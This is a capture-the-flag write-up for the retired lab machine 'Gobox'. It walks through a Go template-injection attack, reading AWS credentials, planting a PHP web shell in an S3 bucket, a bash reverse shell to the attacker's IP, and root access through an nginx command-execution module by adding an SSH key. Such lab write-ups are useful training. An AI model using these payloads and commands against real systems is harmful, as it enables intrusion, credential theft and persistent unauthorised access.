This is the write-up for the box Gobox that got retired at the 30th August 2021. My IP address was 10.10.14.6 while I did this.
Let's put this in our hosts file:
10.10.11.113 gobox.htbStarting with a Nmap scan:
nmap -sC -sV -o nmap/gobox.nmap 10.10.11.113
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
| 256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_ 256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp open http nginx
|_http-title: Hacking eSports | {{.Title}}
8080/tcp open http nginx
|_http-title: Hacking eSports | Home page
9000/tcp filtered cslistener
9001/tcp filtered tor-orport
9002/tcp filtered dynamid
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Full TCP port scan:
nmap -p- 10.10.11.113
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
4566/tcp open kwtc
8080/tcp open http-proxy
(...)
The website on port 80 does not have any menus or other information. The title of the page "Hacking eSports | {{.Title}}" is suspicious and may be a hint to abuse a Server Side Template Injection (SSTI) vulnerability.
The page index.html forwards to a different page, while index.php forwards to the default website, which means that PHP is running in the background.
The webpage on port 8080 has a login form and the response header contains the header X-Forwarded-Server: golang, so this web server runs in the programming language Golang.
Fuzzing special characters on the login form:
wfuzz -u http://10.10.11.113:8080/forgot/ -w /usr/share/seclists/Fuzzing/special-chars.txt -d email=FUZZ --hw 97
wfuzz -u http://10.10.11.113:8080/forgot/ -w /usr/share/seclists/Fuzzing/special-chars.txt -d email=FUZZFUZZ --hw 97
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000006: 200 50 L 96 W 1497 Ch "% - %"
000000008: 200 50 L 96 W 1497 Ch "& - &"
000000014: 200 50 L 96 W 1499 Ch "+ - +"
000000016: 502 7 L 11 W 150 Ch "{ - {"
000000027: 200 50 L 96 W 1497 Ch "; - ;"
The characters "{{" have a different length and response, which means that SSTI could work. When researching SSTI on Golang, there are two articles that describe how to do it:
Testing a simple SSTI payload:
POST /forgot/ HTTP/1.1
Host: 10.10.11.113:8080
(...)
email={{ . }}
It responds with credentials that can be used to login to the website:
Email Sent To: {1 ippsec@hacking.esports ippsSecretPassword}
After login, it shows source code of the Golang application and in there, the function DebugCmd allows to execute system commands:
// (...)
func (u User) DebugCmd (test string) string {
ipp := strings.Split(test, " ")
bin := strings.Join(ipp[:1], " ")
args := strings.Join(ipp[1:], " ")
if len(args) > 0{
out, _ := exec.Command(bin, args).CombinedOutput()
return string(out)
} else {
out, _ := exec.Command(bin).CombinedOutput()
return string(out)
}
}
// (...)Testing command injection with the SSTI vulnerability:
email={{ .DebugCmd "id" }}
Email Sent To: uid=0(root) gid=0(root) groups=0(root)
It works and shows the result of the id command, so it can be used to enumerate the box:
email={{ .DebugCmd "hostname" }}
Email Sent To: aws
The hostname of the box is aws, so checking if the aws executable is available:
email={{ .DebugCmd "which aws" }}
Email Sent To: /usr/bin/aws
Checking the home folder of root:
email={{ .DebugCmd "ls -la ~" }}
drwx------ 1 root root 4096 Aug 26 2021 .
drwxr-xr-x 1 root root 4096 Aug 24 2021 ..
drwxr-xr-x 2 root root 4096 Aug 24 2021 .aws
-rw------- 1 root root 104 Aug 26 2021 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
Enumerating the .aws directory:
email={{ .DebugCmd "ls -la ~/.aws" }}
email={{ .DebugCmd "cat ~/.aws/credentials" }}
aws_access_key_id=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
aws_secret_access_key=SXBwc2VjIFdhcyBIZXJlIC0tIFVsdGltYXRlIEhhY2tpbmcgQ2hhbXBpb25zaGlwIC0gSGFja1RoZUJveCAtIEhhY2tpbmdFc3BvcnRz
These keys can be used from our local client to access the box.
Listing S3 Buckets:
email={{ .DebugCmd "aws s3api list-buckets" }}
"Buckets": [
{
"Name": "website",
"CreationDate": "2022-08-23T10:57:58.000Z"
}
],
(...)
Enumerating the bucket website:
email={{ .DebugCmd "aws s3 ls s3://website" }}
Encoding PHP code to Base64 to write into the bucket:
echo "<?php system(\$_REQUEST['cmd']); ?>" | base64
Writing the PHP code into /tmp/cmd.php:
email={{ .DebugCmd "echo -n PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsnY21kJ10pOyA/Pgo= | base64 -d > /tmp/cmd.php" }}
Adding the PHP script to the S3 bucket:
email={{ .DebugCmd "aws s3 cp /tmp/cmd.php s3://website/cmd.php" }}
Testing command execution:
http://10.10.11.113/cmd.php?cmd=id
Command execution works and can be used to gain a reverse shell:
GET /cmd.php?cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.6/9001 0>&1'
After URL-encoding the request and sending it, the listener on my IP and port 9001 starts a reverse shell as www-data.
Some of the running ports were also found with the initial scan and there is also port 8000 running on localhost:
0.0.0.0:4566
127.0.0.1:8000
0.0.0.0:9000
0.0.0.0:9001
(...)
The file /etc/nginx/sites-enabled/default shows another web service on port 8000 with the command on parameter enabled:
(...)
server {
listen 127.0.0.1:8000;
location / {
command on;
}
This parameter is from the NginxExecute module to execute shell commands through GET, POST and HEAD methods. The default payload does not work:
curl -g "http://127.0.0.1:8000/?system.run[id]"
curl: (52) Empty reply from server
The module can be found in the file /usr/share/nginx/modules/ngx_http_execute_module.so and the strings show a different parameter:
strings /usr/share/nginx/modules/ngx_http_execute_module.so | grep run
ippsec.run
With the parameter ippsec.run it is possible to execute commands as root:
curl -g "http://127.0.0.1:8000/?ippsec.run[id]"
uid=0(root) gid=0(root) groups=0(root)
Generating an SSH key pair on our local client:
ssh-keygen -f gobox
Uploading the public SSH key into the .ssh/authorized_keys file of root:
curl -g "http://127.0.0.1:8000/?ippsec.run[echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAA(...)' >> /root/.ssh/authorized_keys]"
curl -g "http://127.0.0.1:8000/?ippsec.run[chmod 600 /root/.ssh/authorized_keys]"
Using the SSH key to login as root:
ssh -i gobox root@10.10.11.113